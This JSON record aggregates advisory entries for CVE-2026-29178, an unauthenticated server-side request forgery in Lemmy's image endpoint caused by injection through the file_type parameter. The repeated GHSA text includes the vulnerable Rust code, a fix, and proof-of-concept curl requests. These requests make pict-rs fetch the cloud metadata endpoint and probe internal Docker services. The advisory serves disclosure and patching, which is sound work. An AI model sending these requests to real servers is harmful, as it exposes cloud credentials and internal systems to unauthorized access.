{"id":"CVE-2026-29178","aliases":["EUVD-2026-10053","GHSA-jvxv-2jjp-jxc3"],"status":"published","title":"Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint","description":"Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00289,"percentile":0.21611,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2026-03-04T20:55:00Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"crates.io","package":"lemmy_routes","fixed_in":["0.19.16"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"lemmy_routes","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.19.15"},{"fixed":"0.19.16"}]}]},{"source":"osv","ecosystem":"crates.io","package":"lemmy_routes","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.19.16"}]}]}],"products":[{"vendor":"lemmynet","product":"lemmy"}],"references":[{"url":"https://github.com/LemmyNet/lemmy/security/advisories/GHSA-jvxv-2jjp-jxc3","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/LemmyNet/lemmy/commit/f47a03f56d1797bceab5f34b6f624c91cecd5871","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29178","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jvxv-2jjp-jxc3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29178.json","tags":["advisory"]},{"url":"https://github.com/LemmyNet/lemmy","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-29178","title":"Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint","description":"Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16.","status":"published","published":"2026-03-06T17:56:09.378Z","modified":"2026-03-06T18:33:08.993Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:19:56.284359Z"}],"euvd":[{"id":"EUVD-2026-10053","description":"Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16.","status":"published","published":"2026-03-06T17:56:09Z","modified":"2026-03-06T18:33:08Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T19:48:07.686491Z"}],"ghsa":[{"id":"GHSA-jvxv-2jjp-jxc3","title":"Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint","description":"## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n  filename: Path\u003cString\u003e,\n  Query(params): Query\u003cImageGetParams\u003e,\n  req: HttpRequest,\n  context: Data\u003cLemmyContext\u003e,\n) -\u003e LemmyResult\u003cHttpResponse\u003e {\n  let name = \u0026filename.into_inner();\n  let pictrs_url = context.settings().pictrs()?.url;\n  let processed_url = if params.file_type.is_none() \u0026\u0026 params.max_size.is_none() {\n    format!(\"{}image/original/{}\", pictrs_url, name)\n  } else {\n    let file_type = file_type(params.file_type, name);\n    let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n    // ...\n  };\n  do_get_image(processed_url, req, \u0026context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option\u003cString\u003e`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=?src=anything\n\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'\n\n# Scan internal services on the Docker network\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option\u003cString\u003e, name: \u0026str) -\u003e String {\n  let ft = file_type\n    .unwrap_or_else(|| name.split('.').next_back().unwrap_or(\"jpg\").to_string());\n  if ft.chars().all(|c| c.is_alphanumeric()) {\n    ft\n  } else {\n    \"jpg\".to_string()\n  }\n}\n```","status":"published","published":"2026-03-04T20:55:00Z","modified":"2026-03-06T22:44:31Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:32.329372Z"}],"nvd":[{"id":"CVE-2026-29178","description":"Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16.","status":"published","published":"2026-03-06T18:16:20.65Z","modified":"2026-06-17T10:29:43.65Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-29178","title":"Lemmy: Unauthenticated SSRF via file_type query parameter injection in image endpoint","description":"Lemmy, a link aggregator and forum for the fediverse, is vulnerable to server-side request forgery via a dependency on activitypub_federation, a framework for ActivityPub federation in Rust. Prior to version 0.19.16, the GET /api/v4/image/{filename} endpoint is vulnerable to unauthenticated SSRF through parameter injection in the file_type query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the proxy parameter which causes pict-rs to fetch arbitrary URLs. This issue has been patched in version 0.19.16.","status":"published","published":"2026-03-06T17:56:09.378Z","modified":"2026-10-28T02:31:14.607150726Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"GHSA-jvxv-2jjp-jxc3","title":"Lemmy has unauthenticated SSRF via file_type query parameter injection in image endpoint","description":"## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n  filename: Path\u003cString\u003e,\n  Query(params): Query\u003cImageGetParams\u003e,\n  req: HttpRequest,\n  context: Data\u003cLemmyContext\u003e,\n) -\u003e LemmyResult\u003cHttpResponse\u003e {\n  let name = \u0026filename.into_inner();\n  let pictrs_url = context.settings().pictrs()?.url;\n  let processed_url = if params.file_type.is_none() \u0026\u0026 params.max_size.is_none() {\n    format!(\"{}image/original/{}\", pictrs_url, name)\n  } else {\n    let file_type = file_type(params.file_type, name);\n    let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n    // ...\n  };\n  do_get_image(processed_url, req, \u0026context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option\u003cString\u003e`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data\u0026x=?src=anything\n\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'\n\n# Scan internal services on the Docker network\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option\u003cString\u003e, name: \u0026str) -\u003e String {\n  let ft = file_type\n    .unwrap_or_else(|| name.split('.').next_back().unwrap_or(\"jpg\").to_string());\n  if ft.chars().all(|c| c.is_alphanumeric()) {\n    ft\n  } else {\n    \"jpg\".to_string()\n  }\n}\n```","status":"published","published":"2026-03-04T20:55:00Z","modified":"2026-03-06T23:01:53.550131Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:51.10002Z"}]}}
